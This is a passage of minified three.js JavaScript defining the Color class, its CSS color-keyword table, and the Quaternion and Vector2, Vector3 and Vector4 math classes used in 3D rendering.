asicDepthPacking=3200,n.RGBADepthPacking=3201,n.Color=function(e){return 3===arguments.length?this.fromArray(arguments):this.set(e)},n.Color.prototype={constructor:n.Color,r:1,g:1,b:1,set:function(e){return e instanceof n.Color?this.copy(e):"number"==typeof e?this.setHex(e):"string"==typeof e&&this.setStyle(e),this},setScalar:function(e){this.r=e,this.g=e,this.b=e},setHex:function(e){return e=Math.floor(e),this.r=(e>>16&255)/255,this.g=(e>>8&255)/255,this.b=(255&e)/255,this},setRGB:function(e,t,i){return this.r=e,this.g=t,this.b=i,this},setHSL:function(){function e(e,t,i){return 0>i&&(i+=1),i>1&&(i-=1),1/6>i?e+6*(t-e)*i:.5>i?t:2/3>i?e+6*(t-e)*(2/3-i):e}return function(t,i,r){if(t=n.Math.euclideanModulo(t,1),i=n.Math.clamp(i,0,1),r=n.Math.clamp(r,0,1),0===i)this.r=this.g=this.b=r;else{var o=.5>=r?r*(1+i):r+i-r*i,a=2*r-o;this.r=e(a,o,t+1/3),this.g=e(a,o,t),this.b=e(a,o,t-1/3)}return this}}(),setStyle:function(e){function t(t){void 0!==t&&parseFloat(t)<1&&console.warn("THREE.Color: Alpha component of "+e+" will be ignored.")}var i;if(i=/^((?:rgb|hsl)a?)\(\s*([^\)]*)\)/.exec(e)){var r,o=i[1],a=i[2];switch(o){case"rgb":case"rgba":if(r=/^(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*(,\s*([0-9]*\.?[0-9]+)\s*)?$/.exec(a))return this.r=Math.min(255,parseInt(r[1],10))/255,this.g=Math.min(255,parseInt(r[2],10))/255,this.b=Math.min(255,parseInt(r[3],10))/255,t(r[5]),this;if(r=/^(\d+)\%\s*,\s*(\d+)\%\s*,\s*(\d+)\%\s*(,\s*([0-9]*\.?[0-9]+)\s*)?$/.exec(a))return this.r=Math.min(100,parseInt(r[1],10))/100,this.g=Math.min(100,parseInt(r[2],10))/100,this.b=Math.min(100,parseInt(r[3],10))/100,t(r[5]),this;break;case"hsl":case"hsla":if(r=/^([0-9]*\.?[0-9]+)\s*,\s*(\d+)\%\s*,\s*(\d+)\%\s*(,\s*([0-9]*\.?[0-9]+)\s*)?$/.exec(a)){var s=parseFloat(r[1])/360,c=parseInt(r[2],10)/100,u=parseInt(r[3],10)/100;return t(r[5]),this.setHSL(s,c,u)}}}else if(i=/^\#([A-Fa-f0-9]+)$/.exec(e)){var l=i[1],h=l.length;if(3===h)return this.r=parseInt(l.charAt(0)+l.charAt(0),16)/255,this.g=parseInt(l.charAt(1)+l.charAt(1),16)/255,this.b=parseInt(l.charAt(2)+l.charAt(2),16)/255,this;if(6===h)return this.r=parseInt(l.charAt(0)+l.charAt(1),16)/255,this.g=parseInt(l.charAt(2)+l.charAt(3),16)/255,this.b=parseInt(l.charAt(4)+l.charAt(5),16)/255,this}if(e&&e.length>0){var l=n.ColorKeywords[e];void 0!==l?this.setHex(l):console.warn("THREE.Color: Unknown color "+e)}return this},clone:function(){return new this.constructor(this.r,this.g,this.b)},copy:function(e){return this.r=e.r,this.g=e.g,this.b=e.b,this},copyGammaToLinear:function(e,t){return void 0===t&&(t=2),this.r=Math.pow(e.r,t),this.g=Math.pow(e.g,t),this.b=Math.pow(e.b,t),this},copyLinearToGamma:function(e,t){void 0===t&&(t=2);var i=t>0?1/t:1;return this.r=Math.pow(e.r,i),this.g=Math.pow(e.g,i),this.b=Math.pow(e.b,i),this},convertGammaToLinear:function(){var e=this.r,t=this.g,i=this.b;return this.r=e*e,this.g=t*t,this.b=i*i,this},convertLinearToGamma:function(){return this.r=Math.sqrt(this.r),this.g=Math.sqrt(this.g),this.b=Math.sqrt(this.b),this},getHex:function(){return 255*this.r<<16^255*this.g<<8^255*this.b<<0},getHexString:function(){return("000000"+this.getHex().toString(16)).slice(-6)},getHSL:function(e){var t,i,r=e||{h:0,s:0,l:0},n=this.r,o=this.g,a=this.b,s=Math.max(n,o,a),c=Math.min(n,o,a),u=(c+s)/2;if(c===s)t=0,i=0;else{var l=s-c;switch(i=.5>=u?l/(s+c):l/(2-s-c),s){case n:t=(o-a)/l+(a>o?6:0);break;case o:t=(a-n)/l+2;break;case a:t=(n-o)/l+4}t/=6}return r.h=t,r.s=i,r.l=u,r},getStyle:function(){return"rgb("+(255*this.r|0)+","+(255*this.g|0)+","+(255*this.b|0)+")"},offsetHSL:function(e,t,i){var r=this.getHSL();return r.h+=e,r.s+=t,r.l+=i,this.setHSL(r.h,r.s,r.l),this},add:function(e){return this.r+=e.r,this.g+=e.g,this.b+=e.b,this},addColors:function(e,t){return this.r=e.r+t.r,this.g=e.g+t.g,this.b=e.b+t.b,this},addScalar:function(e){return this.r+=e,this.g+=e,this.b+=e,this},multiply:function(e){return this.r*=e.r,this.g*=e.g,this.b*=e.b,this},multiplyScalar:function(e){return this.r*=e,this.g*=e,this.b*=e,this},lerp:function(e,t){return this.r+=(e.r-this.r)*t,this.g+=(e.g-this.g)*t,this.b+=(e.b-this.b)*t,this},equals:function(e){return e.r===this.r&&e.g===this.g&&e.b===this.b},fromArray:function(e,t){return void 0===t&&(t=0),this.r=e[t],this.g=e[t+1],this.b=e[t+2],this},toArray:function(e,t){return void 0===e&&(e=[]),void 0===t&&(t=0),e[t]=this.r,e[t+1]=this.g,e[t+2]=this.b,e}},n.ColorKeywords={aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074},n.Quaternion=function(e,t,i,r){this._x=e||0,this._y=t||0,this._z=i||0,this._w=void 0!==r?r:1},n.Quaternion.prototype={constructor:n.Quaternion,get x(){return this._x},set x(e){this._x=e,this.onChangeCallback()},get y(){return this._y},set y(e){this._y=e,this.onChangeCallback()},get z(){return this._z},set z(e){this._z=e,this.onChangeCallback()},get w(){return this._w},set w(e){this._w=e,this.onChangeCallback()},set:function(e,t,i,r){return this._x=e,this._y=t,this._z=i,this._w=r,this.onChangeCallback(),this},clone:function(){return new this.constructor(this._x,this._y,this._z,this._w)},copy:function(e){return this._x=e.x,this._y=e.y,this._z=e.z,this._w=e.w,this.onChangeCallback(),this},setFromEuler:function(e,t){if(e instanceof n.Euler==!1)throw new Error("THREE.Quaternion: .setFromEuler() now expects a Euler rotation rather than a Vector3 and order.");var i=Math.cos(e._x/2),r=Math.cos(e._y/2),o=Math.cos(e._z/2),a=Math.sin(e._x/2),s=Math.sin(e._y/2),c=Math.sin(e._z/2),u=e.order;return"XYZ"===u?(this._x=a*r*o+i*s*c,this._y=i*s*o-a*r*c,this._z=i*r*c+a*s*o,this._w=i*r*o-a*s*c):"YXZ"===u?(this._x=a*r*o+i*s*c,this._y=i*s*o-a*r*c,this._z=i*r*c-a*s*o,this._w=i*r*o+a*s*c):"ZXY"===u?(this._x=a*r*o-i*s*c,this._y=i*s*o+a*r*c,this._z=i*r*c+a*s*o,this._w=i*r*o-a*s*c):"ZYX"===u?(this._x=a*r*o-i*s*c,this._y=i*s*o+a*r*c,this._z=i*r*c-a*s*o,this._w=i*r*o+a*s*c):"YZX"===u?(this._x=a*r*o+i*s*c,this._y=i*s*o+a*r*c,this._z=i*r*c-a*s*o,this._w=i*r*o-a*s*c):"XZY"===u&&(this._x=a*r*o-i*s*c,this._y=i*s*o-a*r*c,this._z=i*r*c+a*s*o,this._w=i*r*o+a*s*c),t!==!1&&this.onChangeCallback(),this},setFromAxisAngle:function(e,t){var i=t/2,r=Math.sin(i);return this._x=e.x*r,this._y=e.y*r,this._z=e.z*r,this._w=Math.cos(i),this.onChangeCallback(),this},setFromRotationMatrix:function(e){var t,i=e.elements,r=i[0],n=i[4],o=i[8],a=i[1],s=i[5],c=i[9],u=i[2],l=i[6],h=i[10],d=r+s+h;return d>0?(t=.5/Math.sqrt(d+1),this._w=.25/t,this._x=(l-c)*t,this._y=(o-u)*t,this._z=(a-n)*t):r>s&&r>h?(t=2*Math.sqrt(1+r-s-h),this._w=(l-c)/t,this._x=.25*t,this._y=(n+a)/t,this._z=(o+u)/t):s>h?(t=2*Math.sqrt(1+s-r-h),this._w=(o-u)/t,this._x=(n+a)/t,this._y=.25*t,this._z=(c+l)/t):(t=2*Math.sqrt(1+h-r-s),this._w=(a-n)/t,this._x=(o+u)/t,this._y=(c+l)/t,this._z=.25*t),this.onChangeCallback(),this},setFromUnitVectors:function(){var e,t,i=1e-6;return function(r,o){return void 0===e&&(e=new n.Vector3),t=r.dot(o)+1,i>t?(t=0,Math.abs(r.x)>Math.abs(r.z)?e.set(-r.y,r.x,0):e.set(0,-r.z,r.y)):e.crossVectors(r,o),this._x=e.x,this._y=e.y,this._z=e.z,this._w=t,this.normalize(),this}}(),inverse:function(){return this.conjugate().normalize(),this},conjugate:function(){return this._x*=-1,this._y*=-1,this._z*=-1,this.onChangeCallback(),this},dot:function(e){return this._x*e._x+this._y*e._y+this._z*e._z+this._w*e._w},lengthSq:function(){return this._x*this._x+this._y*this._y+this._z*this._z+this._w*this._w},length:function(){return Math.sqrt(this._x*this._x+this._y*this._y+this._z*this._z+this._w*this._w)},normalize:function(){var e=this.length();return 0===e?(this._x=0,this._y=0,this._z=0,this._w=1):(e=1/e,this._x=this._x*e,this._y=this._y*e,this._z=this._z*e,this._w=this._w*e),this.onChangeCallback(),this},multiply:function(e,t){return void 0!==t?(console.warn("THREE.Quaternion: .multiply() now only accepts one argument. Use .multiplyQuaternions( a, b ) instead."),this.multiplyQuaternions(e,t)):this.multiplyQuaternions(this,e)},multiplyQuaternions:function(e,t){var i=e._x,r=e._y,n=e._z,o=e._w,a=t._x,s=t._y,c=t._z,u=t._w;return this._x=i*u+o*a+r*c-n*s,this._y=r*u+o*s+n*a-i*c,this._z=n*u+o*c+i*s-r*a,this._w=o*u-i*a-r*s-n*c,this.onChangeCallback(),this},slerp:function(e,t){if(0===t)return this;if(1===t)return this.copy(e);var i=this._x,r=this._y,n=this._z,o=this._w,a=o*e._w+i*e._x+r*e._y+n*e._z;if(0>a?(this._w=-e._w,this._x=-e._x,this._y=-e._y,this._z=-e._z,a=-a):this.copy(e),a>=1)return this._w=o,this._x=i,this._y=r,this._z=n,this;var s=Math.sqrt(1-a*a);if(Math.abs(s)<.001)return this._w=.5*(o+this._w),this._x=.5*(i+this._x),this._y=.5*(r+this._y),this._z=.5*(n+this._z),this;var c=Math.atan2(s,a),u=Math.sin((1-t)*c)/s,l=Math.sin(t*c)/s;return this._w=o*u+this._w*l,this._x=i*u+this._x*l,this._y=r*u+this._y*l,this._z=n*u+this._z*l,this.onChangeCallback(),this},equals:function(e){return e._x===this._x&&e._y===this._y&&e._z===this._z&&e._w===this._w},fromArray:function(e,t){return void 0===t&&(t=0),this._x=e[t],this._y=e[t+1],this._z=e[t+2],this._w=e[t+3],this.onChangeCallback(),this},toArray:function(e,t){return void 0===e&&(e=[]),void 0===t&&(t=0),e[t]=this._x,e[t+1]=this._y,e[t+2]=this._z,e[t+3]=this._w,e},onChange:function(e){return this.onChangeCallback=e,this},onChangeCallback:function(){}},Object.assign(n.Quaternion,{slerp:function(e,t,i,r){return i.copy(e).slerp(t,r)},slerpFlat:function(e,t,i,r,n,o,a){var s=i[r+0],c=i[r+1],u=i[r+2],l=i[r+3],h=n[o+0],d=n[o+1],p=n[o+2],f=n[o+3];if(l!==f||s!==h||c!==d||u!==p){var m=1-a,g=s*h+c*d+u*p+l*f,v=g>=0?1:-1,y=1-g*g;if(y>Number.EPSILON){var M=Math.sqrt(y),A=Math.atan2(M,g*v);m=Math.sin(m*A)/M,a=Math.sin(a*A)/M}var x=a*v;if(s=s*m+h*x,c=c*m+d*x,u=u*m+p*x,l=l*m+f*x,m===1-a){var w=1/Math.sqrt(s*s+c*c+u*u+l*l);s*=w,c*=w,u*=w,l*=w}}e[t]=s,e[t+1]=c,e[t+2]=u,e[t+3]=l}}),n.Vector2=function(e,t){this.x=e||0,this.y=t||0},n.Vector2.prototype={constructor:n.Vector2,get width(){return this.x},set width(e){this.x=e},get height(){return this.y},set height(e){this.y=e},set:function(e,t){return this.x=e,this.y=t,this},setScalar:function(e){return this.x=e,this.y=e,this},setX:function(e){return this.x=e,this},setY:function(e){return this.y=e,this},setComponent:function(e,t){switch(e){case 0:this.x=t;break;case 1:this.y=t;break;default:throw new Error("index is out of range: "+e)}},getComponent:function(e){switch(e){case 0:return this.x;case 1:return this.y;default:throw new Error("index is out of range: "+e)}},clone:function(){return new this.constructor(this.x,this.y)},copy:function(e){return this.x=e.x,this.y=e.y,this},add:function(e,t){return void 0!==t?(console.warn("THREE.Vector2: .add() now only accepts one argument. Use .addVectors( a, b ) instead."),this.addVectors(e,t)):(this.x+=e.x,this.y+=e.y,this)},addScalar:function(e){return this.x+=e,this.y+=e,this},addVectors:function(e,t){return this.x=e.x+t.x,this.y=e.y+t.y,this},addScaledVector:function(e,t){return this.x+=e.x*t,this.y+=e.y*t,this},sub:function(e,t){return void 0!==t?(console.warn("THREE.Vector2: .sub() now only accepts one argument. Use .subVectors( a, b ) instead."),this.subVectors(e,t)):(this.x-=e.x,this.y-=e.y,this)},subScalar:function(e){return this.x-=e,this.y-=e,this},subVectors:function(e,t){return this.x=e.x-t.x,this.y=e.y-t.y,this},multiply:function(e){return this.x*=e.x,this.y*=e.y,this},multiplyScalar:function(e){return isFinite(e)?(this.x*=e,this.y*=e):(this.x=0,this.y=0),this},divide:function(e){return this.x/=e.x,this.y/=e.y,this},divideScalar:function(e){return this.multiplyScalar(1/e)},min:function(e){return this.x=Math.min(this.x,e.x),this.y=Math.min(this.y,e.y),this},max:function(e){return this.x=Math.max(this.x,e.x),this.y=Math.max(this.y,e.y),this},clamp:function(e,t){return this.x=Math.max(e.x,Math.min(t.x,this.x)),this.y=Math.max(e.y,Math.min(t.y,this.y)),this},clampScalar:function(){var e,t;return function(i,r){return void 0===e&&(e=new n.Vector2,t=new n.Vector2),e.set(i,i),t.set(r,r),this.clamp(e,t)}}(),clampLength:function(e,t){var i=this.length();return this.multiplyScalar(Math.max(e,Math.min(t,i))/i),this},floor:function(){return this.x=Math.floor(this.x),this.y=Math.floor(this.y),this},ceil:function(){
return this.x=Math.ceil(this.x),this.y=Math.ceil(this.y),this},round:function(){return this.x=Math.round(this.x),this.y=Math.round(this.y),this},roundToZero:function(){return this.x=this.x<0?Math.ceil(this.x):Math.floor(this.x),this.y=this.y<0?Math.ceil(this.y):Math.floor(this.y),this},negate:function(){return this.x=-this.x,this.y=-this.y,this},dot:function(e){return this.x*e.x+this.y*e.y},lengthSq:function(){return this.x*this.x+this.y*this.y},length:function(){return Math.sqrt(this.x*this.x+this.y*this.y)},lengthManhattan:function(){return Math.abs(this.x)+Math.abs(this.y)},normalize:function(){return this.divideScalar(this.length())},angle:function(){var e=Math.atan2(this.y,this.x);return 0>e&&(e+=2*Math.PI),e},distanceTo:function(e){return Math.sqrt(this.distanceToSquared(e))},distanceToSquared:function(e){var t=this.x-e.x,i=this.y-e.y;return t*t+i*i},setLength:function(e){return this.multiplyScalar(e/this.length())},lerp:function(e,t){return this.x+=(e.x-this.x)*t,this.y+=(e.y-this.y)*t,this},lerpVectors:function(e,t,i){return this.subVectors(t,e).multiplyScalar(i).add(e),this},equals:function(e){return e.x===this.x&&e.y===this.y},fromArray:function(e,t){return void 0===t&&(t=0),this.x=e[t],this.y=e[t+1],this},toArray:function(e,t){return void 0===e&&(e=[]),void 0===t&&(t=0),e[t]=this.x,e[t+1]=this.y,e},fromAttribute:function(e,t,i){return void 0===i&&(i=0),t=t*e.itemSize+i,this.x=e.array[t],this.y=e.array[t+1],this},rotateAround:function(e,t){var i=Math.cos(t),r=Math.sin(t),n=this.x-e.x,o=this.y-e.y;return this.x=n*i-o*r+e.x,this.y=n*r+o*i+e.y,this}},n.Vector3=function(e,t,i){this.x=e||0,this.y=t||0,this.z=i||0},n.Vector3.prototype={constructor:n.Vector3,set:function(e,t,i){return this.x=e,this.y=t,this.z=i,this},setScalar:function(e){return this.x=e,this.y=e,this.z=e,this},setX:function(e){return this.x=e,this},setY:function(e){return this.y=e,this},setZ:function(e){return this.z=e,this},setComponent:function(e,t){switch(e){case 0:this.x=t;break;case 1:this.y=t;break;case 2:this.z=t;break;default:throw new Error("index is out of range: "+e)}},getComponent:function(e){switch(e){case 0:return this.x;case 1:return this.y;case 2:return this.z;default:throw new Error("index is out of range: "+e)}},clone:function(){return new this.constructor(this.x,this.y,this.z)},copy:function(e){return this.x=e.x,this.y=e.y,this.z=e.z,this},add:function(e,t){return void 0!==t?(console.warn("THREE.Vector3: .add() now only accepts one argument. Use .addVectors( a, b ) instead."),this.addVectors(e,t)):(this.x+=e.x,this.y+=e.y,this.z+=e.z,this)},addScalar:function(e){return this.x+=e,this.y+=e,this.z+=e,this},addVectors:function(e,t){return this.x=e.x+t.x,this.y=e.y+t.y,this.z=e.z+t.z,this},addScaledVector:function(e,t){return this.x+=e.x*t,this.y+=e.y*t,this.z+=e.z*t,this},sub:function(e,t){return void 0!==t?(console.warn("THREE.Vector3: .sub() now only accepts one argument. Use .subVectors( a, b ) instead."),this.subVectors(e,t)):(this.x-=e.x,this.y-=e.y,this.z-=e.z,this)},subScalar:function(e){return this.x-=e,this.y-=e,this.z-=e,this},subVectors:function(e,t){return this.x=e.x-t.x,this.y=e.y-t.y,this.z=e.z-t.z,this},multiply:function(e,t){return void 0!==t?(console.warn("THREE.Vector3: .multiply() now only accepts one argument. Use .multiplyVectors( a, b ) instead."),this.multiplyVectors(e,t)):(this.x*=e.x,this.y*=e.y,this.z*=e.z,this)},multiplyScalar:function(e){return isFinite(e)?(this.x*=e,this.y*=e,this.z*=e):(this.x=0,this.y=0,this.z=0),this},multiplyVectors:function(e,t){return this.x=e.x*t.x,this.y=e.y*t.y,this.z=e.z*t.z,this},applyEuler:function(){var e;return function(t){return t instanceof n.Euler==!1&&console.error("THREE.Vector3: .applyEuler() now expects an Euler rotation rather than a Vector3 and order."),void 0===e&&(e=new n.Quaternion),this.applyQuaternion(e.setFromEuler(t)),this}}(),applyAxisAngle:function(){var e;return function(t,i){return void 0===e&&(e=new n.Quaternion),this.applyQuaternion(e.setFromAxisAngle(t,i)),this}}(),applyMatrix3:function(e){var t=this.x,i=this.y,r=this.z,n=e.elements;return this.x=n[0]*t+n[3]*i+n[6]*r,this.y=n[1]*t+n[4]*i+n[7]*r,this.z=n[2]*t+n[5]*i+n[8]*r,this},applyMatrix4:function(e){var t=this.x,i=this.y,r=this.z,n=e.elements;return this.x=n[0]*t+n[4]*i+n[8]*r+n[12],this.y=n[1]*t+n[5]*i+n[9]*r+n[13],this.z=n[2]*t+n[6]*i+n[10]*r+n[14],this},applyProjection:function(e){var t=this.x,i=this.y,r=this.z,n=e.elements,o=1/(n[3]*t+n[7]*i+n[11]*r+n[15]);return this.x=(n[0]*t+n[4]*i+n[8]*r+n[12])*o,this.y=(n[1]*t+n[5]*i+n[9]*r+n[13])*o,this.z=(n[2]*t+n[6]*i+n[10]*r+n[14])*o,this},applyQuaternion:function(e){var t=this.x,i=this.y,r=this.z,n=e.x,o=e.y,a=e.z,s=e.w,c=s*t+o*r-a*i,u=s*i+a*t-n*r,l=s*r+n*i-o*t,h=-n*t-o*i-a*r;return this.x=c*s+h*-n+u*-a-l*-o,this.y=u*s+h*-o+l*-n-c*-a,this.z=l*s+h*-a+c*-o-u*-n,this},project:function(){var e;return function(t){return void 0===e&&(e=new n.Matrix4),e.multiplyMatrices(t.projectionMatrix,e.getInverse(t.matrixWorld)),this.applyProjection(e)}}(),unproject:function(){var e;return function(t){return void 0===e&&(e=new n.Matrix4),e.multiplyMatrices(t.matrixWorld,e.getInverse(t.projectionMatrix)),this.applyProjection(e)}}(),transformDirection:function(e){var t=this.x,i=this.y,r=this.z,n=e.elements;return this.x=n[0]*t+n[4]*i+n[8]*r,this.y=n[1]*t+n[5]*i+n[9]*r,this.z=n[2]*t+n[6]*i+n[10]*r,this.normalize(),this},divide:function(e){return this.x/=e.x,this.y/=e.y,this.z/=e.z,this},divideScalar:function(e){return this.multiplyScalar(1/e)},min:function(e){return this.x=Math.min(this.x,e.x),this.y=Math.min(this.y,e.y),this.z=Math.min(this.z,e.z),this},max:function(e){return this.x=Math.max(this.x,e.x),this.y=Math.max(this.y,e.y),this.z=Math.max(this.z,e.z),this},clamp:function(e,t){return this.x=Math.max(e.x,Math.min(t.x,this.x)),this.y=Math.max(e.y,Math.min(t.y,this.y)),this.z=Math.max(e.z,Math.min(t.z,this.z)),this},clampScalar:function(){var e,t;return function(i,r){return void 0===e&&(e=new n.Vector3,t=new n.Vector3),e.set(i,i,i),t.set(r,r,r),this.clamp(e,t)}}(),clampLength:function(e,t){var i=this.length();return this.multiplyScalar(Math.max(e,Math.min(t,i))/i),this},floor:function(){return this.x=Math.floor(this.x),this.y=Math.floor(this.y),this.z=Math.floor(this.z),this},ceil:function(){return this.x=Math.ceil(this.x),this.y=Math.ceil(this.y),this.z=Math.ceil(this.z),this},round:function(){return this.x=Math.round(this.x),this.y=Math.round(this.y),this.z=Math.round(this.z),this},roundToZero:function(){return this.x=this.x<0?Math.ceil(this.x):Math.floor(this.x),this.y=this.y<0?Math.ceil(this.y):Math.floor(this.y),this.z=this.z<0?Math.ceil(this.z):Math.floor(this.z),this},negate:function(){return this.x=-this.x,this.y=-this.y,this.z=-this.z,this},dot:function(e){return this.x*e.x+this.y*e.y+this.z*e.z},lengthSq:function(){return this.x*this.x+this.y*this.y+this.z*this.z},length:function(){return Math.sqrt(this.x*this.x+this.y*this.y+this.z*this.z)},lengthManhattan:function(){return Math.abs(this.x)+Math.abs(this.y)+Math.abs(this.z)},normalize:function(){return this.divideScalar(this.length())},setLength:function(e){return this.multiplyScalar(e/this.length())},lerp:function(e,t){return this.x+=(e.x-this.x)*t,this.y+=(e.y-this.y)*t,this.z+=(e.z-this.z)*t,this},lerpVectors:function(e,t,i){return this.subVectors(t,e).multiplyScalar(i).add(e),this},cross:function(e,t){if(void 0!==t)return console.warn("THREE.Vector3: .cross() now only accepts one argument. Use .crossVectors( a, b ) instead."),this.crossVectors(e,t);var i=this.x,r=this.y,n=this.z;return this.x=r*e.z-n*e.y,this.y=n*e.x-i*e.z,this.z=i*e.y-r*e.x,this},crossVectors:function(e,t){var i=e.x,r=e.y,n=e.z,o=t.x,a=t.y,s=t.z;return this.x=r*s-n*a,this.y=n*o-i*s,this.z=i*a-r*o,this},projectOnVector:function(){var e,t;return function(i){return void 0===e&&(e=new n.Vector3),e.copy(i).normalize(),t=this.dot(e),this.copy(e).multiplyScalar(t)}}(),projectOnPlane:function(){var e;return function(t){return void 0===e&&(e=new n.Vector3),e.copy(this).projectOnVector(t),this.sub(e)}}(),reflect:function(){var e;return function(t){return void 0===e&&(e=new n.Vector3),this.sub(e.copy(t).multiplyScalar(2*this.dot(t)))}}(),angleTo:function(e){var t=this.dot(e)/Math.sqrt(this.lengthSq()*e.lengthSq());return Math.acos(n.Math.clamp(t,-1,1))},distanceTo:function(e){return Math.sqrt(this.distanceToSquared(e))},distanceToSquared:function(e){var t=this.x-e.x,i=this.y-e.y,r=this.z-e.z;return t*t+i*i+r*r},setFromSpherical:function(e){var t=Math.sin(e.phi)*e.radius;return this.x=t*Math.sin(e.theta),this.y=Math.cos(e.phi)*e.radius,this.z=t*Math.cos(e.theta),this},setFromMatrixPosition:function(e){return this.setFromMatrixColumn(e,3)},setFromMatrixScale:function(e){var t=this.setFromMatrixColumn(e,0).length(),i=this.setFromMatrixColumn(e,1).length(),r=this.setFromMatrixColumn(e,2).length();return this.x=t,this.y=i,this.z=r,this},setFromMatrixColumn:function(e,t){return"number"==typeof e&&(console.warn("THREE.Vector3: setFromMatrixColumn now expects ( matrix, index )."),e=arguments[1],t=arguments[0]),this.fromArray(e.elements,4*t)},equals:function(e){return e.x===this.x&&e.y===this.y&&e.z===this.z},fromArray:function(e,t){return void 0===t&&(t=0),this.x=e[t],this.y=e[t+1],this.z=e[t+2],this},toArray:function(e,t){return void 0===e&&(e=[]),void 0===t&&(t=0),e[t]=this.x,e[t+1]=this.y,e[t+2]=this.z,e},fromAttribute:function(e,t,i){return void 0===i&&(i=0),t=t*e.itemSize+i,this.x=e.array[t],this.y=e.array[t+1],this.z=e.array[t+2],this}},n.Vector4=function(e,t,i,r){this.x=e||0,this.y=t||0,this.z=i||0,this.w=void 0!==r?r:1},n.Vector4.prototype={constructor:n.Vector4,set:function(e,t,i,r){return this.x=e,this.y=t,this.z=i,this.w=r,this},setScalar:function(e){return this.x=e,this.y=e,this.z=e,this.w=e,this},setX:function(e){return this.x=e,this},setY:function(e){return this.y=e,this},setZ:function(e){return this.z=e,this},setW:function(e){return this.w=e,this},setComponent:function(e,t){switch(e){case 0:this.x=t;break;case 1:this.y=t;break;case 2:this.z=t;break;case 3:this.w=t;break;default:throw new Error("index is out of range: "+e)}},getComponent:function(e){switch(e){case 0:return this.x;case 1:return this.y;case 2:return this.z;case 3:return this.w;default:throw new Error("index is out of range: "+e)}},clone:function(){return new this.constructor(this.x,this.y,this.z,this.w)},copy:function(e){return this.x=e.x,this.y=e.y,this.z=e.z,this.w=void 0!==e.w?e.w:1,this},add:function(e,t){return void 0!==t?(console.warn("THREE.Vector4: .add() now only accepts one argument. Use .addVectors( a, b ) instead."),this.addVectors(e,t)):(this.x+=e.x,this.y+=e.y,this.z+=e.z,this.w+=e.w,this)},addScalar:function(e){return this.x+=e,this.y+=e,this.z+=e,this.w+=e,this},addVectors:function(e,t){return this.x=e.x+t.x,this.y=e.y+t.y,this.z=e.z+t.z,this.w=e.w+t.w,this},addScaledVector:function(e,t){return this.x+=e.x*t,this.y+=e.y*t,this.z+=e.z*t,this.w+=e.w*t,this},sub:function(e,t){return void 0!==t?(console.warn("THREE.Vector4: .sub() now only accepts one argument. Use .subVectors( a, b ) instead."),this.subVectors(e,t)):(this.x-=e.x,this.y-=e.y,this.z-=e.z,this.w-=e.w,this)},subScalar:function(e){return this.x-=e,this.y-=e,this.z-=e,this.w-=e,this},subVectors:function(e,t){return this.x=e.x-t.x,this.y=e.y-t.y,this.z=e.z-t.z,this.w=e.w-t.w,this},multiplyScalar:function(e){return isFinite(e)?(this.x*=e,this.y*=e,this.z*=e,this.w*=e):(this.x=0,this.y=0,this.z=0,this.w=0),this},applyMatrix4:function(e){var t=this.x,i=this.y,r=this.z,n=this.w,o=e.elements;return this.x=o[0]*t+o[4]*i+o[8]*r+o[12]*n,this.y=o[1]*t+o[5]*i+o[9]*r+o[13]*n,this.z=o[2]*t+o[6]*i+o[10]*r+o[14]*n,this.w=o[3]*t+o[7]*i+o[11]*r+o[15]*n,this},divideScalar:function(e){return this.multiplyScalar(1/e)},setAxisAngleFromQuaternion:function(e){this.w=2*Math.acos(e.w);var t=Math.sqrt(1-e.w*e.w);return 1e-4>t?(this.x=1,this.y=0,this.z=0):(this.x=e.x/t,this.y=e.y/t,this.z=e.z/t),this},setAxisAngleFromRotationMatrix:function(e){var 